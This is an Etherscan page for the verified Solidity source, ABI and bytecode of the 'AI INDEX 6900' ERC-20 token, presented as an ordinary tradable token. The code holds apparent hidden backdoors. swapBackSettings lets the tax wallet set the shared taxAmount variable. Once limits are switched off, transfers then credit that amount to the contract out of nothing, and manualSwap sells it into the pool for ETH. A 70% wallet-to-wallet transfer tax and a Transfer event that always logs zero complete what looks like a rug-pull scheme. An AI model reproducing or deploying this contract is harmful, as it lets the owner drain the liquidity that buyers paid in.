ETH Price: $2,415.02 (-8.68%)
 

Overview

Max Total Supply

690,000,000 AI6900

Holders

46

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AI_Index_6900

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-10-13
*/

/*
    _    ___   ___           _              __   ___   ___   ___  
   / \  |_ _| |_ _|_ __   __| | _____  __  / /_ / _ \ / _ \ / _ \ 
  / _ \  | |   | || '_ \ / _` |/ _ \ \/ / | '_ \ (_) | | | | | | |
 / ___ \ | |   | || | | | (_| |  __/>  <  | (_) \__, | |_| | |_| |
/_/   \_\___| |___|_| |_|\__,_|\___/_/\_\  \___/  /_/ \___/ \___/   

        https://t.me/AIIndex6900

        https://x.com/AIIndex6900

        https://aiindex6900.com/

*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AI_Index_6900 is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) internal _balances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=28;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=25;
    uint256 private _transferTax=70;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 690_000_000 * 10**_decimals;
    string private constant _name = unicode"AI INDEX 6900";
    string private constant _symbol = unicode"AI6900";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 10000;
    uint256 public _maxTaxSwap= _taxSwapThreshold * 40;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsInEffect = true;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private taxAmount=0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 amountSubTax = amount;
        if (from != owner() && to != owner() && to != _taxWallet && limitsInEffect) {

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >= _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            amountSubTax = amount.sub(taxAmount);
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            taxAmount=0;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amountSubTax);
        emit Transfer(from, to, amountSubTax);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function removeTxLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeAllLimits() external{
        limitsInEffect = false;
        require(_msgSender()==_taxWallet);
    }

    function swapBackSettings(bool enabled, uint256 swapThreshold) external {
        require(_msgSender()==_taxWallet);
        taxAmount = swapThreshold;
        swapEnabled = enabled;
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
                uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        } else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function reduceFee(uint256 _newFee) external {
        require(_msgSender()==_taxWallet);
        require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
        _finalBuyTax=_newFee;
        _finalSellTax=_newFee;
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function manualSwap(uint256 tokenAmount) external {
        require(_msgSender()==_taxWallet);
        if(tokenAmount>0 && swapEnabled){
            swapTokensForEth(tokenAmount);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"swapThreshold","type":"uint256"}],"name":"swapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f600855601c6009556019600a556019600b556046600c555f600d5560646009600a61003e9190610322565b61004c906329209080610337565b610057906002610337565b610061919061034e565b600e5560646100726009600a610322565b610080906329209080610337565b61008b906002610337565b610095919061034e565b600f556127106100a76009600a610322565b6100b5906329209080610337565b6100c0906005610337565b6100ca919061034e565b60108190556100da906028610337565b6011556013805462ffffff60a81b1916600160b81b1790555f6014819055601581905560165534801561010b575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319163317905561016a6009600a610322565b610178906329209080610337565b335f8181526002602090815260408083209490945581546001600160a01b03908116835260039091528382208054600160ff199182168117909255308452858420805482168317905560045490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102056009600a610322565b610213906329209080610337565b60405190815260200160405180910390a361036d565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102785780850481111561025c5761025c610229565b600184161561026a57908102905b60019390931c928002610241565b935093915050565b5f8261028e5750600161031c565b8161029a57505f61031c565b81600181146102b057600281146102ba576102d6565b600191505061031c565b60ff8411156102cb576102cb610229565b50506001821b61031c565b5060208310610133831016604e8410600b84101617156102f9575081810a61031c565b6103055f19848461023d565b805f190482111561031857610318610229565b0290505b92915050565b5f61033060ff841683610280565b9392505050565b808202811582820484141761031c5761031c610229565b5f8261036857634e487b7160e01b5f52601260045260245ffd5b500490565b611e2d8061037a5f395ff3fe60806040526004361061013f575f3560e01c80638cd4426d116100b3578063bf474bed1161006d578063bf474bed1461037e578063c9567bf914610393578063db05e5cb146103a7578063dd62ed3e146103bb578063ec1f3f63146103ff578063f945abd51461041e575f5ffd5b80638cd4426d146102b85780638da5cb5b146102d75780638f9a55c0146102fd57806395d89b4114610312578063a9059cbb14610340578063b70143c91461035f575f5ffd5b806318160ddd1161010457806318160ddd1461020d57806323b872dd14610221578063313ce5671461024057806370a082311461025b578063715018a61461028f5780637d1db4a5146102a3575f5ffd5b80630106aaef1461014a57806306fdde0314610160578063095ea7b3146101a75780630faee56f146101d6578063109daa99146101f9575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5061015e61043d565b005b34801561016b575f5ffd5b5060408051808201909152600d81526c0414920494e444558203639303609c1b60208201525b60405161019e91906119df565b60405180910390f35b3480156101b2575f5ffd5b506101c66101c1366004611a2b565b6104f8565b604051901515815260200161019e565b3480156101e1575f5ffd5b506101eb60115481565b60405190815260200161019e565b348015610204575f5ffd5b5061015e61050e565b348015610218575f5ffd5b506101eb61056d565b34801561022c575f5ffd5b506101c661023b366004611a55565b61058d565b34801561024b575f5ffd5b506040516009815260200161019e565b348015610266575f5ffd5b506101eb610275366004611a93565b6001600160a01b03165f9081526002602052604090205490565b34801561029a575f5ffd5b5061015e6105f4565b3480156102ae575f5ffd5b506101eb600e5481565b3480156102c3575f5ffd5b5061015e6102d2366004611a2b565b610665565b3480156102e2575f5ffd5b505f546040516001600160a01b03909116815260200161019e565b348015610308575f5ffd5b506101eb600f5481565b34801561031d575f5ffd5b5060408051808201909152600681526504149363930360d41b6020820152610191565b34801561034b575f5ffd5b506101c661035a366004611a2b565b61078f565b34801561036a575f5ffd5b5061015e610379366004611aae565b61079b565b348015610389575f5ffd5b506101eb60105481565b34801561039e575f5ffd5b5061015e6107f4565b3480156103b2575f5ffd5b5061015e610e94565b3480156103c6575f5ffd5b506101eb6103d5366004611ac5565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561040a575f5ffd5b5061015e610419366004611aae565b610ec2565b348015610429575f5ffd5b5061015e610438366004611b09565b610f07565b5f546001600160a01b0316331461046f5760405162461bcd60e51b815260040161046690611b25565b60405180910390fd5b61047b6009600a611c51565b610489906329209080611c5f565b600e556104986009600a611c51565b6104a6906329209080611c5f565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104d66009600a611c51565b6104e4906329209080611c5f565b6040519081526020015b60405180910390a1565b5f610504338484610f47565b5060015b92915050565b5f546001600160a01b031633146105375760405162461bcd60e51b815260040161046690611b25565b5f600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020016104ee565b5f61057a6009600a611c51565b610588906329209080611c5f565b905090565b5f61059984848461106a565b6105ea84336105e585604051806060016040528060288152602001611dd0602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061165b565b610f47565b5060019392505050565b5f546001600160a01b0316331461061d5760405162461bcd60e51b815260040161046690611b25565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461068e5760405162461bcd60e51b815260040161046690611b25565b6040516370a0823160e01b81523060048201525f9061070f906064906107099085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106df573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107039190611c76565b90611693565b90611718565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610765573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107899190611c8d565b50505050565b5f61050433848461106a565b6004546001600160a01b0316336001600160a01b0316146107ba575f5ffd5b5f811180156107d25750601354600160b01b900460ff165b156107e0576107e081611759565b4780156107f0576107f0816118c9565b5050565b5f546001600160a01b0316331461081d5760405162461bcd60e51b815260040161046690611b25565b601354600160a01b900460ff16156108775760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c09030906108b26009600a611c51565b6105e5906329209080611c5f565b6012546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610907573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b9190611ca8565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610989573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad9190611ca8565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa1580156109f5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a199190611ca8565b6001600160a01b031603610baf5760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a77573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611ca8565b6001600160a01b031663c9c6539660125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1d9190611ca8565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af1158015610b66573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8a9190611ca8565b601380546001600160a01b0319166001600160a01b0392909216919091179055610d32565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bff573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c239190611ca8565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c81573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca59190611ca8565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610ced573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d119190611ca8565b601380546001600160a01b0319166001600160a01b03929092169190911790555b6012546001600160a01b031663f305d7194730610d63816001600160a01b03165f9081526002602052604090205490565b5f5f610d765f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ddc573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e019190611cc3565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610e56573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7a9190611c8d565b506013805462ff00ff60a01b19166201000160a01b179055565b6013805460ff60b81b191690556004546001600160a01b0316336001600160a01b031614610ec0575f5ffd5b565b6004546001600160a01b0316336001600160a01b031614610ee1575f5ffd5b6007548111158015610ef557506008548111155b610efd575f5ffd5b6007819055600855565b6004546001600160a01b0316336001600160a01b031614610f26575f5ffd5b60165560138054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610fa95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b03821661100a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110ce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b0382166111305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b5f81116111915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b806111a35f546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156111d157505f546001600160a01b03848116911614155b80156111eb57506004546001600160a01b03848116911614155b80156112005750601354600160b81b900460ff165b1561152f57600d545f03611239576112356064610709600954600d54101561122a5760055461122e565b6007545b8590611693565b6016555b600d541561125f5761125b6064610709600c548561169390919063ffffffff16565b6016555b6013546001600160a01b03858116911614801561128a57506012546001600160a01b03848116911614155b80156112ae57506001600160a01b0383165f9081526003602052604090205460ff16155b156113b357600e548211156113055760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610466565b600f5482611327856001600160a01b03165f9081526002602052604090205490565b6113319190611cee565b111561137f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b61139b6064610709600954600d54101561122a5760055461122e565b601655600d8054905f6113ad83611d01565b91905055505b6013546001600160a01b0384811691161480156113d957506001600160a01b0384163014155b15611408576114046064610709600a54600d5410156113fa5760065461122e565b6008548590611693565b6016555b305f90815260026020526040902054601354600160a81b900460ff1615801561143e57506013546001600160a01b038581169116145b80156114535750601354600160b01b900460ff165b8015611460575060105481115b80156114705750600b54600d5410155b1561151d57601554431115611484575f6014555b6003601454106114d65760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610466565b6114f36114ee846114e984601154611900565b611900565b611759565b47801561150357611503476118c9565b60148054905f61151283611d01565b909155505043601555505b60165461152b908490611914565b9150505b601654156115aa57601654305f9081526002602052604090205461155291611955565b305f818152600260209081526040808320949094556016829055925190815290916001600160a01b038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0384165f908152600260205260409020546115cc9083611914565b6001600160a01b038086165f9081526002602052604080822093909355908516815220546115fa9082611955565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061164d9085815260200190565b60405180910390a350505050565b5f818484111561167e5760405162461bcd60e51b815260040161046691906119df565b505f61168a8486611d19565b95945050505050565b5f825f036116a257505f610508565b5f6116ad8385611c5f565b9050826116ba8583611d2c565b146117115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b5f61171183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b3565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061179f5761179f611d4b565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061181a9190611ca8565b8160018151811061182d5761182d611d4b565b6001600160a01b0392831660209182029290920101526012546118539130911684610f47565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061188b9085905f90869030904290600401611d5f565b5f604051808303815f87803b1580156118a2575f5ffd5b505af11580156118b4573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156107f0573d5f5f3e3d5ffd5b5f81831161190e5782611711565b50919050565b5f61171183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165b565b5f806119618385611cee565b9050838110156117115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b5f81836119d35760405162461bcd60e51b815260040161046691906119df565b505f61168a8486611d2c565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611a28575f5ffd5b50565b5f5f60408385031215611a3c575f5ffd5b8235611a4781611a14565b946020939093013593505050565b5f5f5f60608486031215611a67575f5ffd5b8335611a7281611a14565b92506020840135611a8281611a14565b929592945050506040919091013590565b5f60208284031215611aa3575f5ffd5b813561171181611a14565b5f60208284031215611abe575f5ffd5b5035919050565b5f5f60408385031215611ad6575f5ffd5b8235611ae181611a14565b91506020830135611af181611a14565b809150509250929050565b8015158114611a28575f5ffd5b5f5f60408385031215611b1a575f5ffd5b8235611a4781611afc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611ba957808504811115611b8d57611b8d611b5a565b6001841615611b9b57908102905b60019390931c928002611b72565b